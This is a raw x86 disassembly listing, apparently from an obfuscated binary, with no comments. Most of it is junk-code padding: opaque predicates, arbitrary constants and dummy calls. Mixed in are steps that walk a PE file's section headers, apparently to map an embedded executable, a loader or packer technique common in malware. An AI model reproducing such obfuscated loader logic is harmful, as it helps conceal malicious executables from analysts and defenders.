mov dword [ebp - 0x1544], eax
cmp dword [ebp - 0x128], 0x22a1
jne 0x43c443
mov dword [ebp - 0x1204], 1
mov dword [ebp - 0x120c], 0xffffffff
lea eax, [ebp - 0x1204]
push eax
push 0x717
push 1
push 1
push 0
push 0x3c7d
push 0x4bda
push 1
push 0x3c60
push 0x7260
push 0x6dd9
push 0x2e50
push 0x711e
push 0
lea eax, [ebp - 0x120c]
push eax
push 0x71ac
call fcn.004300c8
add esp, 0x40
push 1
push 1
push 0xfc8
push 1
push 1
call fcn.0043246d
add esp, 0x14
jmp 0x43c477
mov dword [ebp - 0x110], 0
jmp 0x43c45c
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x11
je 0x43c477
push 1
push 0
push 1
push 1
call fcn.00435631
add esp, 0x10
jmp 0x43c44f
mov eax, dword [ebp - 0x5c]
cmp dword [eax + 4], 0
jne 0x43c498
push 1
push 0x34e3
push 1
push 1
call fcn.00432622
add esp, 0x10
jmp 0x446a24
mov dword [ebp - 0x44], 0xee76f502
mov dword [ebp - 0x394], 0
jmp 0x43c4b8
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 4
jge 0x43c4d4
mov eax, dword [ebp - 0x394]
mov dword [ebp + eax*4 - 0xeac], 0xfffffff6
jmp 0x43c4ab
mov dword [ebp - 0x44], 0
jmp 0x43c4e4
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jg 0x43c6aa
mov dword [ebp - 0x3c], 0x52c58fb7
mov dword [ebp - 0x123c], 0
mov dword [ebp - 0x260], 0
jmp 0x43c518
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 3
jge 0x43c534
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0x15a4], 0xfffffff8
jmp 0x43c50b
push 1
push 1
push 0x6001
push 0
lea eax, [ebp - 0x3c]
push eax
call fcn.0042fe19
add esp, 0x14
mov dword [ebp - 0x3c], 0
jmp 0x43c55b
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x43c571
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xeac], 0x748afa2f
jmp 0x43c554
mov dword [ebp - 0x3c], 0
jmp 0x43c581
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jg 0x43c6a5
mov eax, 0xe780ca9f
test eax, eax
je 0x43c666
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp + ecx*4 - 0xeac]
cmp dword [ebp + eax*4 - 0xeac], ecx
jle 0x43c5ba
mov dword [ebp - 0xdd4], 1
jmp 0x43c5c1
and dword [ebp - 0xdd4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xdd4]
mov dword [ebp + eax - 0x15a4], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp + ecx*4 - 0xeac]
cmp dword [ebp + eax - 0xeac], ecx
jl 0x43c5f8
mov dword [ebp - 0x688], 1
jmp 0x43c5ff
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xeac]
cmp dword [ebp - 0x688], eax
jg 0x43c61d
mov dword [ebp - 0xa88], 1
jmp 0x43c624
and dword [ebp - 0xa88], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xa88]
sub ecx, dword [ebp + eax*4 - 0xeac]
jne 0x43c645
cmp dword [ebp - 0x3c], 0
jne 0x43c645
and dword [ebp - 0x690], 0
jmp 0x43c64f
mov dword [ebp - 0x690], 1
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x690], eax
jg 0x43c666
mov dword [ebp - 0x1234], 1
jmp 0x43c66d
and dword [ebp - 0x1234], 0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xeac]
mov dword [ebp - 0x154c], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xeac]
mov dword [ebp - 0x1554], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x15a4]
mov dword [ebp - 0x123c], eax
jmp 0x43c57a
jmp 0x43c4dd
and dword [ebp - 0x40], 0
mov dword [ebp - 0x1244], 0x4f833fcb
mov dword [ebp - 0x39c], 0
jmp 0x43c6d1
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 1
jge 0x43c6ed
mov eax, dword [ebp - 0x39c]
mov dword [ebp + eax*4 - 0x155c], 8
jmp 0x43c6c4
push 0
push 0
push 0x6d5a
push 0
call fcn.00436dd7
add esp, 0x10
push 0x4d0c
push 0
push 1
push 0x315d
lea eax, [ebp - 0x1244]
push eax
push 1
push 0x6853
push 0xa3d
push 1
push 0x2a88
push 0x78c4
call fcn.0043446f
add esp, 0x2c
mov eax, dword [ebp - 0x160]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x160]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x6a0], 0x3cc1
mov dword [ebp - 0x78], 0
jmp 0x43c769
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x43c77f
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x12d8], 0x99ff6065
jmp 0x43c762
mov dword [ebp - 0x78], 0
jmp 0x43c78f
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x43c7a5
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x130], 0x7a876e6b
jmp 0x43c788
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x130], 0
jmp 0x43c7d3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x130]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x130], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x130], 1
jg 0x43c918
mov dword [ebp - 0x124c], 0
mov dword [ebp - 0x268], 0
jmp 0x43c80a
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 2
jge 0x43c826
mov eax, dword [ebp - 0x268]
mov dword [ebp + eax*4 - 0x12c0], 0xcc92ea21
jmp 0x43c7fd
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x12d8], 4
ja 0x43c842
mov dword [ebp - 0xc88], 1
jmp 0x43c849
and dword [ebp - 0xc88], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc88]
sub ecx, dword [ebp + eax - 0x130]
jne 0x43c86e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x130], 0
je 0x43c896
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x12c0]
cmp dword [ebp + eax - 0x12c0], ecx
je 0x43c896
mov dword [ebp - 0x698], 1
jmp 0x43c89d
and dword [ebp - 0x698], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x130]
cmp dword [ebp - 0x698], eax
jg 0x43c8c7
mov eax, 0x2e93
test eax, eax
je 0x43c8c7
mov dword [ebp - 0xa90], 1
jmp 0x43c8ce
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0xa90]
mov dword [ebp - 0x6a0], eax
mov eax, dword [ebp - 0x6a0]
add eax, 0xd1b
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x12d8]
jge 0x43c900
mov dword [ebp - 0xd94], 1
jmp 0x43c907
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0xd94]
mov dword [ebp - 0x124c], eax
jmp 0x43c7b8
and dword [ebp - 0x584], 0
jmp 0x43c93d
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x1c4]
add eax, 0x28
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x160]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x584], eax
jge 0x43d6b4
mov dword [ebp - 0x468], 1
mov dword [ebp - 0x470], 5
mov dword [ebp - 0x3ac], 0x7800ff6
mov dword [ebp - 0xd0], 0
jmp 0x43c98a
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x43c9a6
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x558], 0xdf99ff60
jmp 0x43c97d
mov dword [ebp - 0xd0], 0
jmp 0x43c9bf
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 4
jge 0x43c9db
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x3dc], 0x667a876e
jmp 0x43c9b2
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3dc], 0
jmp 0x43ca09
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x3dc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3dc], 1
jg 0x43cd47
mov dword [ebp - 0x500], 0xffffffff
mov dword [ebp - 0x1e8], 6
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x3dc]
mov dword [ebp - 0x1564], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3dc], 0xc1da
jne 0x43ca63
mov dword [ebp - 0x6a8], 1
jmp 0x43ca6a
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0
jne 0x43ca8b
mov dword [ebp - 0xa98], 1
jmp 0x43ca92
and dword [ebp - 0xa98], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
mov eax, dword [ebp + eax*4 - 0x558]
cmp dword [ebp - 0xa98], eax
je 0x43caba
mov dword [ebp - 0x1254], 1
jmp 0x43cac1
and dword [ebp - 0x1254], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
mov dword [ebp - 0x156c], eax
mov dword [ebp - 0x468], 0xfffc
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
mov eax, dword [ebp + eax*4 - 0x558]
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x468], eax
jle 0x43cb1e
mov dword [ebp - 0x6b0], 1
jmp 0x43cb25
and dword [ebp - 0x6b0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
cmp dword [ebp - 0x6b0], eax
jge 0x43cb46
mov dword [ebp - 0xc90], 1
jmp 0x43cb4d
and dword [ebp - 0xc90], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
mov eax, dword [ebp + eax*4 - 0x558]
cmp dword [ebp - 0xc90], eax
jl 0x43cb75
mov dword [ebp - 0x125c], 1
jmp 0x43cb7c
and dword [ebp - 0x125c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
mov eax, dword [ebp + eax*4 - 0x558]
mov dword [ebp - 0x1574], eax
mov eax, 0x215a6091
test eax, eax
je 0x43cbbb
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3dc], 0
je 0x43cbbb
mov dword [ebp - 0x6b8], 1
jmp 0x43cbc2
and dword [ebp - 0x6b8], 0
cmp dword [ebp - 0x6b8], 0x734f
jl 0x43cbde
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x3dc], 0
jne 0x43cbe5
cmp dword [ebp - 0x1e8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
cmp dword [ebp + eax*4 - 0x558], 0xd933
jge 0x43cd28
mov dword [ebp - 0x3b4], 0
cmp dword [ebp - 0x3ac], 0
je 0x43cce3
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x157c], eax
cmp dword [ebp - 0x3b4], 1
jle 0x43cc47
mov dword [ebp - 0xaa0], 1
jmp 0x43cc4e
and dword [ebp - 0xaa0], 0
cmp dword [ebp - 0xaa0], 6
jae 0x43cc63
mov dword [ebp - 0x1264], 1
jmp 0x43cc6a
and dword [ebp - 0x1264], 0
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x1584], eax
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x158c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3dc]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x3dc]
mov ecx, dword [ebp + ecx*4 - 0x558]
cmp dword [ebp + eax*4 - 0x558], ecx
jne 0x43ccb8
mov dword [ebp - 0x126c], 1
jmp 0x43ccbf
and dword [ebp - 0x126c], 0
mov dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0x3ac], eax
je 0x43cce3
mov dword [ebp - 0x6c0], 1
jmp 0x43ccea
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x500], eax
push 0x6f27
push 0x570b
lea eax, [ebp - 0x3b4]
push eax
push 0x3178
push 1
push 1
push 1
push 0x5472
push 1
push 0x6aa0
call fcn.004328fa
add esp, 0x28
jmp 0x43cd42
lea eax, [ebp - 0x470]
push eax
push 0
push 0x33fa
push 1
push 1
call fcn.00437280
add esp, 0x14
jmp 0x43c9ee
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0x274], 8
mov dword [ebp - 0x6c8], 0x6c902da
mov dword [ebp - 0x1274], 0x84cb8f6c
mov dword [ebp - 0x127c], 0xb7e80d68
mov dword [ebp - 0x80], 0
jmp 0x43cd8e
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x43cda4
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x14b4], 0x52f76ec7
jmp 0x43cd87
mov dword [ebp - 0x80], 0
jmp 0x43cdb4
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jge 0x43cdca
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x16e0], 2
jmp 0x43cdad
push 0xa11
push 0
push 0x284f
push 1
push 0x496d
push 1
push 0x187c
push 1
call fcn.004396f0
add esp, 0x20
cmp dword [ebp - 0x274], 0x63126ff2
jge 0x43ce06
mov dword [ebp - 0x6d0], 1
jmp 0x43ce0d
and dword [ebp - 0x6d0], 0
cmp dword [ebp - 0x274], 0xd069
jg 0x43ce25
mov dword [ebp - 0xaa8], 1
jmp 0x43ce2c
and dword [ebp - 0xaa8], 0
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0xddc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xddc]
mov dword [ebp + eax - 0x14b4], ecx
mov eax, dword [ebp - 0xddc]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c8]
cmp eax, dword [ebp - 0xaa8]
jle 0x43ce71
mov dword [ebp - 0xc98], 1
jmp 0x43ce78
and dword [ebp - 0xc98], 0
mov eax, dword [ebp - 0x274]
add eax, dword [ebp - 0x6d0]
add eax, dword [ebp - 0xc98]
cmp eax, dword [ebp - 0x1274]
jg 0x43ce9e
mov dword [ebp - 0x6d8], 1
jmp 0x43cea5
and dword [ebp - 0x6d8], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x6d8]
sub ecx, dword [ebp + eax - 0x16e0]
push 4
pop eax
imul eax, eax, 3
sub ecx, dword [ebp + eax - 0x16e0]
mov dword [ebp - 0x127c], ecx
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
cmp eax, dword [ebp - 0xab0]
jb 0x43d6af
push 1
push 1
push 0x79aa
push 0x37ff
push 0x798f
push 1
push 1
call fcn.0042be3c
add esp, 0x1c
mov eax, dword [ebp - 0x160]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x1c4]
push dword [eax + 8]
call fcn.004298d2
pop ecx
pop ecx
add eax, dword [ebp - 0xab0]
mov dword [ebp - 0x1190], eax
mov dword [ebp - 0x210], 0x68ec0ae9
mov dword [ebp - 0x129c], 0xf47a6dee
mov dword [ebp - 0x324], 0xffffffff
mov dword [ebp - 0x478], 0xe848967c
mov dword [ebp - 0x12b8], 2
mov dword [ebp - 0xb0], 0
jmp 0x43cf6b
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jge 0x43cf87
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x128c], 0x51328f6c
jmp 0x43cf5e
mov dword [ebp - 0xb0], 0
jmp 0x43cfa0
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x43cfbc
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0xd78], 0xf2d6273
jmp 0x43cf93
mov dword [ebp - 0x210], 7
jmp 0x43cfd5
mov eax, dword [ebp - 0x210]
dec eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 6
jge 0x43d335
mov dword [ebp - 0x1284], 0xffffffff
mov dword [ebp - 0x508], 4
mov dword [ebp - 0x6f8], 1
mov dword [ebp - 0x88], 0
jmp 0x43d019
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x43d035
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x550], 1
jmp 0x43d00c
mov dword [ebp - 0x88], 0
jmp 0x43d04e
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x43d06a
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x1294], 0x494d85d5
jmp 0x43d041
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd78]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xd78]
inc ecx
push 4
pop edx
shl edx, 0
mov dword [ebp + edx - 0xd78], ecx
test eax, eax
jne 0x43d303
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x550], 1
jle 0x43d0b6
mov dword [ebp - 0x6e0], 1
jmp 0x43d0bd
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x6e0]
imul eax, dword [ebp - 0x324]
mov dword [ebp - 0xda0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xda0]
mov dword [ebp + eax - 0x550], ecx
mov eax, dword [ebp - 0x508]
imul eax, dword [ebp - 0xda0]
cmp eax, dword [ebp - 0x508]
jle 0x43d104
mov dword [ebp - 0x6e8], 1
jmp 0x43d10b
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x1284]
cmp dword [ebp - 0x6e8], eax
jne 0x43d125
mov dword [ebp - 0xab8], 1
jmp 0x43d12c
and dword [ebp - 0xab8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd78]
cmp dword [ebp - 0xab8], eax
jne 0x43d14d
mov dword [ebp - 0x6f0], 1
jmp 0x43d154
and dword [ebp - 0x6f0], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x128c], 0xd68c
mov eax, dword [ebp - 0x478]
mov ecx, dword [ebp - 0x6f0]
lea eax, [ecx + eax - 1]
imul eax, eax, 0xd68c
test eax, eax
jne 0x43d191
cmp dword [ebp - 0x210], 0
jne 0x43d191
and dword [ebp - 0xca0], 0
jmp 0x43d19b
mov dword [ebp - 0xca0], 1
mov eax, dword [ebp - 0xca0]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0x6f8], eax
jne 0x43d1c1
mov dword [ebp - 0xac0], 1
jmp 0x43d1c8
and dword [ebp - 0xac0], 0
cmp dword [ebp - 0xac0], 0x2a49
jl 0x43d1e0
mov dword [ebp - 0x700], 1
jmp 0x43d1e7
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x478]
cmp dword [ebp - 0x700], eax
jg 0x43d201
mov dword [ebp - 0xde4], 1
jmp 0x43d208
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0x324]
imul eax, dword [ebp - 0xde4]
cmp eax, 0xfffffff6
jge 0x43d226
mov dword [ebp - 0x708], 1
jmp 0x43d22d
and dword [ebp - 0x708], 0
cmp dword [ebp - 0x708], 0
je 0x43d252
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x550], 0
je 0x43d252
mov dword [ebp - 0xac8], 1
jmp 0x43d259
and dword [ebp - 0xac8], 0
cmp dword [ebp - 0xac8], 0xe227
jg 0x43d271
mov dword [ebp - 0x710], 1
jmp 0x43d278
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x710]
add eax, 0xc7128abf
mov dword [ebp - 0xca8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xca8]
mov dword [ebp + eax - 0x1294], ecx
mov eax, dword [ebp - 0x478]
cmp dword [ebp - 0xca8], eax
jg 0x43d2b6
mov dword [ebp - 0x718], 1
jmp 0x43d2bd
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x508]
cmp dword [ebp - 0x718], eax
jge 0x43d2d7
mov dword [ebp - 0xad0], 1
jmp 0x43d2de
and dword [ebp - 0xad0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd78]
cmp eax, dword [ebp - 0xad0]
jl 0x43d303
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x43d303
and dword [ebp - 0x720], 0
jmp 0x43d30d
mov dword [ebp - 0x720], 1
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x324], eax
push 0
push 1
push 1
push 1
push 0x3b28
push 0
call fcn.00439178
add esp, 0x18
jmp 0x43cfc8
push 0
push 0x2ea7
push 0x2b9b
push 0x3209
push 0x232b
push 0
push 0x4efe
push 0x222d
lea eax, [ebp - 0x129c]
push eax
push 0x50af
lea eax, [ebp - 0x12b8]
push eax
push 0x5fee
push 1
call fcn.0042e584
add esp, 0x34
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1190]
jae 0x43d6af
mov dword [ebp - 0x59c], 0x928c176b
mov dword [ebp - 0x598], 0x928c176b
mov dword [ebp - 0x594], 0x928c176b
mov dword [ebp - 0x590], 0x928c176b
mov dword [ebp - 0x27c], 0
jmp 0x43d3cb
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jge 0x43d3e7
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x14c0], 0x5807c1a
jmp 0x43d3be
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x59c], 0
jmp 0x43d412
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x59c]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x59c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x59c], 8
je 0x43d611
mov dword [ebp - 0x50], 0
mov dword [ebp - 0xdec], 3
mov dword [ebp - 0xf68], 0xffffffff
cmp dword [ebp - 0x50], 0
jne 0x43d492
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x59c], 0x6084
jl 0x43d464
mov dword [ebp - 0x1120], 1
jmp 0x43d46b
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1594], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1600], eax
cmp dword [ebp - 0x50], 0
je 0x43d489
cmp dword [ebp - 0x50], 0
jne 0x43d492
and dword [ebp - 0xdac], 0
jmp 0x43d49c
mov dword [ebp - 0xdac], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x59c]
cmp dword [ebp - 0xdac], eax
jl 0x43d4bc
mov dword [ebp - 0x728], 1
jmp 0x43d4c3
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x728]
sub eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x50]
jne 0x43d4dd
mov dword [ebp - 0xad8], 1
jmp 0x43d4e4
and dword [ebp - 0xad8], 0
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0xad8]
push 4
pop ecx
imul ecx, ecx, 3
sub eax, dword [ebp + ecx - 0x59c]
cmp eax, 0xffff
jne 0x43d50e
mov dword [ebp - 0x730], 1
jmp 0x43d515
and dword [ebp - 0x730], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x59c]
cmp dword [ebp - 0x730], eax
jle 0x43d535
mov dword [ebp - 0x10dc], 1
jmp 0x43d53c
and dword [ebp - 0x10dc], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1608], eax
cmp dword [ebp - 0x50], 0x1cb64b69
jne 0x43d55a
mov dword [ebp - 0xcb0], 1
jmp 0x43d561
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0xcb0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x14c0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x50]
cmp dword [ebp + eax - 0x59c], ecx
je 0x43d593
mov dword [ebp - 0x738], 1
jmp 0x43d59a
and dword [ebp - 0x738], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x59c]
imul eax, dword [ebp - 0x738]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x59c]
jg 0x43d5c7
mov dword [ebp - 0xae0], 1
jmp 0x43d5ce
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0xae0]
add eax, 0x15d15
cmp eax, 0x79deb476
jge 0x43d5ec
mov dword [ebp - 0x740], 1
jmp 0x43d5f3
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
inc eax
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0xdec]
mov dword [ebp - 0xf68], eax
jmp 0x43d3f9
push 1
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x40]
push eax
push 1
push 0x414
push 0
push 0
push 0x2ba7
push 1
call fcn.004389da
add esp, 0x24
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x378], 1
jmp 0x43d65b
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 3
je 0x43d6ad
mov dword [ebp - 0x1208], 0xfffffff8
push 0
push 0x5748
push 1
push 0
call fcn.00438126
add esp, 0x10
lea eax, [ebp - 0x1208]
push eax
push 0x9e0
push 1
push 0x4df1
push 0
push 1
push 1
push 0x5521
push 0
push 1
call fcn.00437e9a
add esp, 0x28
jmp 0x43d64e
jmp 0x43d6b4
jmp 0x43c921
mov dword [ebp - 0x34], 0x152c58fb
mov dword [ebp - 0x284], 0
jmp 0x43d6d4
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 3
jge 0x43d6f0
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0xf1c], 3
jmp 0x43d6c7
mov eax, dword [ebp - 0x34]
inc eax
cmp eax, 0x48afa2fa
jg 0x43d707
mov dword [ebp - 0x748], 1
jmp 0x43d70e
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 2
jmp 0x43d727
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x43d83b
mov dword [ebp - 0xf78], 0xd1b40e11
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xf1c], 0
je 0x43d764
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf1c], 0
jg 0x43d764
mov dword [ebp - 0xf70], 1
jmp 0x43d76b
and dword [ebp - 0xf70], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf1c]
mov dword [ebp - 0x1610], eax
cmp dword [ebp - 0x34], 0
je 0x43d795
cmp dword [ebp - 0x34], 0
je 0x43d795
mov dword [ebp - 0xae8], 1
jmp 0x43d79c
and dword [ebp - 0xae8], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xf1c]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xf1c]
imul ecx, dword [ebp - 0xae8]
sub eax, ecx
cmp eax, dword [ebp - 0x34]
je 0x43d7cd
mov dword [ebp - 0x1128], 1
jmp 0x43d7d4
and dword [ebp - 0x1128], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf1c], 0
je 0x43d7f6
cmp dword [ebp - 0x34], 0
je 0x43d7f6
